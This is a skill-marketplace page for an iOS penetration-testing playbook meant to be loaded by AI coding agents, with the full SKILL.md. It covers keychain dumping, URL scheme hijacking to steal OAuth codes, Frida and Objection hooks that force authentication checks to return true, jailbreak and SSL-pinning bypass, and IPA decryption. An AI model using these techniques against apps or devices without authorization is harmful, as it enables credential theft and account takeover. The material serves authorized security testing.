PluginBench
Skill
Fail
Audit score 45

ios-pentesting-tricks

yaklang/hack-skills

iOS pentesting playbook for keychain extraction, URL scheme hijacking, Universal Links exploitation, and runtime manipulation.

What is ios-pentesting-tricks?

Expert iOS application security testing techniques covering jailbreak vs non-jailbreak methodology, keychain extraction, URL scheme/Universal Links abuse, Frida/Objection runtime hooks, binary protection checks, and data storage analysis. Use during authorized mobile security assessments to identify keychain protection class issues, deep link hijacking vectors, AASA misconfigurations, and runtime security bypasses.

  • Extract and analyze keychain items across protection classes (WhenUnlocked, AfterFirstUnlock, Always, WhenPasscodeSet)
  • Discover and exploit custom URL scheme hijacking and Universal Links AASA misconfigurations
  • Hook and manipulate iOS runtime behavior using Frida and Objection on jailbroken and non-jailbroken devices
  • Analyze binary protections, decrypt IPAs, and perform class-dump inspection
  • Bypass SSL pinning, jailbreak detection, and other runtime security controls
  • Identify data storage vulnerabilities and insecure credential handling patterns

How to install ios-pentesting-tricks

npx skills add https://github.com/yaklang/hack-skills --skill ios-pentesting-tricks
Prerequisites
  • Jailbroken or non-jailbroken iOS device with target app installed
  • Frida and Objection installed on testing machine
  • ideviceinstaller, ios-deploy, or similar iOS device management tools
  • For non-jailbreak testing: ability to sideload apps (Xcode, Apple Developer account, or re-signing tools)
  • For IPA analysis: class-dump, Hopper, or similar binary analysis tools
Claude Code
Cursor
Windsurf
Cline

How to use ios-pentesting-tricks

  1. 1.Determine testing scope: identify whether target device is jailbroken or non-jailbroken to select appropriate extraction methods
  2. 2.Discover custom URL schemes by extracting and parsing Info.plist from the target app bundle
  3. 3.Fetch and analyze AASA files from target domains to identify wildcard paths or misconfiguration patterns
  4. 4.Use keychain-dumper (jailbroken) or Frida/Objection (both) to enumerate and extract keychain items, noting protection classes
  5. 5.Hook authentication and security-related methods using Frida scripts or Objection commands to bypass runtime checks
  6. 6.Test URL scheme hijacking by registering duplicate schemes in a test app and triggering OAuth/deep link flows
  7. 7.Analyze binary protections and decrypt IPA for offline inspection of security-sensitive code paths

Use cases

Good for
  • Pentesting OAuth callback flows for authorization code interception via URL scheme hijacking
  • Discovering overly-broad AASA wildcard patterns that allow Universal Link spoofing
  • Extracting API keys and tokens from keychain to assess credential storage security
  • Using Frida to hook authentication methods and bypass login checks on jailbroken devices
  • Analyzing protection class assignments to identify credentials stored with insufficient security levels
Who it's for
  • Mobile security penetration testers
  • iOS application security researchers
  • Bug bounty hunters targeting iOS apps
  • Security engineers performing authorized mobile assessments
  • Red teamers simulating iOS-specific attack chains

ios-pentesting-tricks FAQ

What's the difference between jailbreak and non-jailbreak iOS pentesting?

Jailbroken devices allow full filesystem access, direct keychain dumping via keychain-dumper, and unrestricted Frida/Cycript hooking. Non-jailbroken testing is limited to backup extraction, sideloaded apps with Frida gadget, and network-level interception. Jailbreak testing is faster but requires device compromise; non-jailbreak is more realistic but more constrained.

How do I extract keychain items from a non-jailbroken device?

On non-jailbroken devices, keychain access is limited. Use iTunes/Finder backup extraction (only accessible items), sideload the app with Frida gadget and use Objection's 'ios keychain dump' command, or use Frida scripts to hook SecItemCopyMatching at runtime. Full keychain dumping requires jailbreak.

What is AASA and why does it matter for Universal Links?

AASA (Apple-App-Site-Association) is a JSON file served at /.well-known/apple-app-site-association on a domain that cryptographically associates URLs with an app. Misconfigurations like wildcard paths (*) or missing AASA files cause Universal Links to fail, forcing fallback to custom URL schemes which are hijackable by any app registering the same scheme.

Can I use Frida on a non-jailbroken device?

Yes, but with limitations. You must sideload the app with FridaGadget.dylib injected into its Frameworks, re-sign it with a valid provisioning profile, and install via ios-deploy. This requires a developer account and re-signing capability but allows runtime hooking without jailbreak.

What keychain protection class should I prioritize testing?

Focus on kSecAttrAccessibleAlways (deprecated but still used in legacy apps—critical risk) and kSecAttrAccessibleAfterFirstUnlock (persists across device locks—high risk). WhenUnlocked is medium risk; WhenPasscodeSetThisDeviceOnly is low risk. Check what protection class each credential uses to identify weak storage practices.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: ios-pentesting-tricks description: >- iOS pentesting playbook. Use when testing iOS applications for keychain extraction, URL scheme hijacking, Universal Links exploitation, runtime manipulation, binary protection analysis, data storage issues, and transport security bypass during authorized mobile security assessments.

SKILL: iOS Pentesting Tricks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert iOS application security testing techniques. Covers jailbreak vs non-jailbreak methodology, keychain extraction, URL scheme/Universal Links abuse, Frida/Objection runtime hooks, binary protection checks, and data storage analysis. Base models miss protection class nuances and AASA misconfiguration patterns.

0. RELATED ROUTING

Before going deep, consider loading:

  • mobile-ssl-pinning-bypass for in-depth SSL pinning bypass (SecTrust hooks, SSL Kill Switch, framework-specific techniques)
  • android-pentesting-tricks when also testing the Android version of the same app
  • api-sec for backend API security testing once traffic is intercepted

Advanced Reference

Also load IOS_RUNTIME_TRICKS.md when you need:

  • Frida recipes for iOS-specific hooks (ObjC class enumeration, method swizzling)
  • Objection command reference for iOS
  • Runtime hooking patterns and bypass templates

1. JAILBREAK VS NON-JAILBREAK TESTING

CapabilityJailbrokenNon-Jailbroken
SSL pinning bypassFrida, SSL Kill Switch 2, ObjectionNetwork debugging proxy, MITM profiles (limited)
Keychain accesskeychain-dumper, Frida dumpOnly via backup extraction (limited)
Filesystem inspectionFull access to app sandboxOnly via ideviceinstaller + backup
Runtime manipulationFrida, Cycript, LLDB attachFrida on sideloaded apps (re-signed)
Binary analysisClass-dump, Hopper on-deviceDecrypt IPA on Mac, analyze offline
Method hookingFull Frida/Cycript capabilityLimited (needs re-signed app + Frida gadget)

Non-Jailbreak Testing Setup

# Extract IPA from device
ideviceinstaller -l                    # List installed apps
ios-deploy --id <UDID> --download --bundle_id com.target.app

# Or use frida-ios-dump for decrypted IPA (jailbroken)
python dump.py com.target.app

# Sideload with Frida gadget (non-jailbreak runtime hooking)
# 1. Extract IPA, 2. Insert FridaGadget.dylib into Frameworks/
# 3. Re-sign with valid profile, 4. Install via ios-deploy

2. KEYCHAIN EXTRACTION

2.1 Keychain Protection Classes

Protection ClassAvailabilityUse CaseRisk Level
kSecAttrAccessibleWhenUnlockedOnly when device unlockedPasswords, tokensMedium
kSecAttrAccessibleAfterFirstUnlockAfter first unlock until rebootBackground tokensHigh (persists across locks)
kSecAttrAccessibleAlwaysAlways (deprecated iOS 12+)Legacy appsCritical
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnlyPasscode set + unlockedHigh-value secretsLow

2.2 Extraction Methods

# Jailbroken: keychain-dumper
/path/to/keychain-dumper -a              # Dump all accessible items
/path/to/keychain-dumper -g password     # Generic passwords only
/path/to/keychain-dumper -i              # Internet passwords

# Frida / Objection
objection -g com.target.app explore
> ios keychain dump
> ios keychain dump --json                # JSON output for parsing

# Frida script for keychain enumeration
frida -U -f com.target.app -l keychain_dump.js

2.3 What to Look For

Item TypeKeychain ClassTypical Content
kSecClassGenericPasswordgenpApp tokens, API keys, user credentials
kSecClassInternetPasswordinetHTTP auth credentials, OAuth tokens
kSecClassCertificatecertClient certificates
kSecClassIdentityidntCert + private key pair
kSecClassKeykeysEncryption keys

3. URL SCHEME HIJACKING

3.1 Custom URL Scheme Discovery

# From IPA/app bundle — check Info.plist
plutil -p /path/to/Payload/Target.app/Info.plist | grep -A 10 CFBundleURLTypes

# Example output:
# "CFBundleURLSchemes" => ["targetapp", "fb123456789"]

3.2 Hijacking Attack

Scenario: Target app registers "targetapp://" for OAuth callback

1. Attacker app also registers "targetapp://" URL scheme
2. User initiates OAuth login in target app
3. OAuth provider redirects to targetapp://callback?code=AUTH_CODE
4. iOS may open attacker's app instead (non-deterministic scheme resolution)
5. Attacker captures OAuth authorization code
Attack VectorTechniqueImpact
OAuth callback interceptionRegister same schemeSteal authorization codes
Deep link hijackingRegister same schemePhishing, data interception
Payment callback interceptionRegister payment schemeTransaction manipulation

3.3 URL Scheme vs Universal Links Security

FeatureCustom URL SchemeUniversal Links
RegistrationAny app can claim any schemeRequires AASA file on domain
UniquenessNot guaranteed (multiple apps)One app per domain path
ValidationNoneCryptographic (AASA signed)
Recommended forNon-sensitive navigationOAuth callbacks, sensitive actions
HijackableYes (duplicate registration)Only via AASA misconfiguration

4. UNIVERSAL LINKS EXPLOITATION

4.1 AASA (Apple-App-Site-Association) Misconfiguration

# Fetch AASA file
curl -s "https://target.com/.well-known/apple-app-site-association" | jq .
curl -s "https://target.com/apple-app-site-association" | jq .

# Check for wildcard patterns (overly broad)
# Bad: "paths": ["*"]     ← captures ALL URLs
# Bad: "paths": ["/NOT *"] ← poorly written exclusion
MisconfigurationRiskExploitation
Wildcard paths (*)App claims all URLs on domainRedirect chain may break UL → fallback to URL scheme
Missing AASA fileUniversal Links won't workApp falls back to less-secure URL scheme
AASA on wrong domainLinks not associatedScheme hijacking possible
AASA not served as application/jsonParsing failureLinks won't associate
CDN caching stale AASAOutdated associationsInconsistent behavior

4.2 Breaking Universal Links → URL Scheme Fallback

Technique: Force Universal Link to not open app, causing fallback to URL scheme

1. User long-presses link → "Open in Safari" (disables UL for that domain)
2. Redirect chain: domain A → domain B → target (UL breaks on redirect)
3. JavaScript redirect instead of 302 (UL only works on server-side redirects)
4. App not installed → URL scheme fallback → hijackable

5. RUNTIME MANIPULATION

5.1 Frida on iOS

# Connect to app on jailbroken device
frida -U -f com.target.app --no-pause

# Basic ObjC exploration
> ObjC.classes                                    # List all classes
> ObjC.classes.NSURLSession                       # Check if class exists
> ObjC.classes.AppDelegate.$methods               # List methods
> ObjC.classes.AppDelegate['- isLoggedIn'].implementation  # Read method

# Hook method and modify return value
Interceptor.attach(ObjC.classes.AuthManager['- isAuthenticated'].implementation, {
    onLeave: function(retval) {
        retval.replace(ptr(1));  // Force return TRUE
    }
});

5.2 Objection iOS Commands

objection -g com.target.app explore

# Keychain
> ios keychain dump

# Cookies
> ios cookies get

# Pasteboard
> ios pasteboard monitor

# Jailbreak detection bypass
> ios jailbreak disable

# SSL pinning bypass
> ios sslpinning disable

# Binary info
> ios info binary

# Hooking
> ios hooking watch class AppDelegate
> ios hooking watch method "-[AuthManager isAuthenticated]" --dump-args --dump-return
> ios hooking set return_value "-[AuthManager isJailbroken]" false

5.3 Cycript (Legacy but Useful)

// Attach to running app
cycript -p com.target.app

// Explore UI hierarchy
UIApp.keyWindow.recursiveDescription().toString()

// Find view controllers
[UIWindow.keyWindow().rootViewController _printHierarchy].toString()

// Call methods directly
[AppDelegate.sharedInstance isLoggedIn]  // → check return
AppDelegate.sharedInstance.isLoggedIn = true  // → modify

// Access singleton instances
var vc = choose(LoginViewController)[0]
vc.bypassLogin()

6. BINARY PROTECTIONS

6.1 Checking Binary Security

# PIE (Position Independent Executable)
otool -hv /path/to/binary | grep PIE

# ARC (Automatic Reference Counting)
otool -I -v /path/to/binary | grep objc_release

# Stack canaries
otool -I -v /path/to/binary | grep __stack_chk_guard

# Encryption (FairPlay DRM)
otool -l /path/to/binary | grep -A 4 LC_ENCRYPTION_INFO
# cryptid 0 = decrypted, cryptid 1 = encrypted
ProtectionCheckMissing Impact
PIEMH_PIE flag in headerASLR disabled → predictable addresses
ARC_objc_release symbolUse-after-free more likely
Stack Canaries__stack_chk_guardBuffer overflow exploitation easier
Encryptioncryptid valueBinary readable without decryption

6.2 Decrypting IPA

# frida-ios-dump (preferred, jailbroken device)
python dump.py com.target.app
# Outputs: decrypted IPA in current directory

# bagbak (alternative)
bagbak com.target.app

# Manual via Frida
frida -U -f com.target.app -l dump_memory.js
# Dump decrypted binary from memory, replace encrypted section

6.3 Class-dump for ObjC Analysis

# Dump Objective-C class information
class-dump /path/to/decrypted/binary > classes.h
class-dump -H /path/to/decrypted/binary -o /tmp/headers/

# Search for interesting patterns
grep -r "password\|token\|secret\|apiKey\|isJailbroken\|isRooted" /tmp/headers/

7. DATA STORAGE ISSUES

7.1 Sensitive Data Locations

LocationPathWhat to Check
NSUserDefaultsLibrary/Preferences/<bundle-id>.plistTokens, user data, feature flags
Core Data (SQLite)Library/Application Support/*.sqliteCached API responses, user records
KeychainSystem keychain databaseCredentials, keys (check protection class)
CookiesLibrary/Cookies/Cookies.binarycookiesSession cookies
CacheLibrary/Caches/Cached API responses, images with PII
ScreenshotsLibrary/SplashBoard/Snapshots/App state captured on background
Keyboard cacheLibrary/Keyboard/Autocomplete entries with sensitive input
PasteboardSystem pasteboardCopied passwords, tokens
WebView storageLibrary/WebKit/WebsiteData/LocalStorage, IndexedDB, cookies

7.2 Inspection Commands

# On jailbroken device — app sandbox at:
# /var/mobile/Containers/Data/Application/<UUID>/

# Find app UUID
find /var/mobile/Containers -name "com.target.app" 2>/dev/null

# Check NSUserDefaults
plutil -p Library/Preferences/com.target.app.plist

# Check SQLite databases
sqlite3 Library/Application\ Support/Model.sqlite ".tables"
sqlite3 Library/Application\ Support/Model.sqlite "SELECT * FROM ZUSER;"

# Check for sensitive strings in all files
grep -r "password\|token\|bearer\|api_key" Documents/ Library/

8. TRANSPORT SECURITY (ATS)

8.1 ATS Exception Patterns

<!-- Info.plist — check for ATS exceptions -->
<key>NSAppTransportSecurity</key>
<dict>
  <!-- WORST: disables ATS entirely -->
  <key>NSAllowsArbitraryLoads</key>
  <true/>

  <!-- BAD: specific domain exceptions -->
  <key>NSExceptionDomains</key>
  <dict>
    <key>insecure-api.target.com</key>
    <dict>
      <key>NSExceptionAllowsInsecureHTTPLoads</key>
      <true/>
      <key>NSExceptionMinimumTLSVersion</key>
      <string>TLSv1.0</string>
    </dict>
  </dict>
</dict>
ATS SettingRiskNotes
NSAllowsArbitraryLoads = trueCriticalAll HTTP allowed
NSExceptionAllowsInsecureHTTPLoadsHighHTTP for specific domain
NSExceptionMinimumTLSVersion = TLSv1.0MediumWeak TLS
NSAllowsArbitraryLoadsInWebContentMediumWebView can load HTTP
No ATS exceptionsLowProper configuration

9. IOS PENTESTING DECISION TREE

Testing iOS application
│
├── Device jailbroken?
│   ├── Yes → full testing capability
│   │   ├── Keychain dump → ios keychain dump (§2)
│   │   ├── Filesystem inspection → check all data storage (§7)
│   │   ├── Runtime hooks → Frida/Objection (§5)
│   │   └── Binary analysis → class-dump decrypted binary (§6)
│   └── No → limited testing
│       ├── Re-sign with Frida gadget for runtime access
│       ├── Backup extraction for data analysis
│       └── Network-level testing (proxy + SSL bypass)
│
├── SSL pinning blocking proxy?
│   └── Yes → see mobile-ssl-pinning-bypass SKILL.md
│
├── URL schemes registered?
│   ├── OAuth callback via URL scheme? → hijacking risk (§3.2)
│   ├── Universal Links configured? → check AASA (§4.1)
│   └── Scheme used for sensitive actions? → test interception
│
├── Binary protections adequate?
│   ├── Missing PIE? → ASLR disabled (§6.1)
│   ├── No stack canaries? → overflow risk (§6.1)
│   └── Still encrypted? → decrypt first (§6.2)
│
├── Data storage secure?
│   ├── Tokens in NSUserDefaults? → plaintext extraction (§7.1)
│   ├── Keychain protection class? → AfterFirstUnlock = risky (§2.1)
│   ├── Screenshots captured? → check Snapshots dir (§7.1)
│   └── Keyboard cache? → check for sensitive autocomplete (§7.1)
│
├── ATS configured?
│   ├── ArbitraryLoads = true? → HTTP downgrade possible (§8)
│   └── Domain exceptions? → targeted HTTP interception
│
└── Runtime manipulation needed?
    ├── Jailbreak detection blocking? → ios jailbreak disable (§5.2)
    ├── Need to bypass auth check? → hook + modify return (§5.1)
    └── Need to trace API calls? → method hooking (§5.2)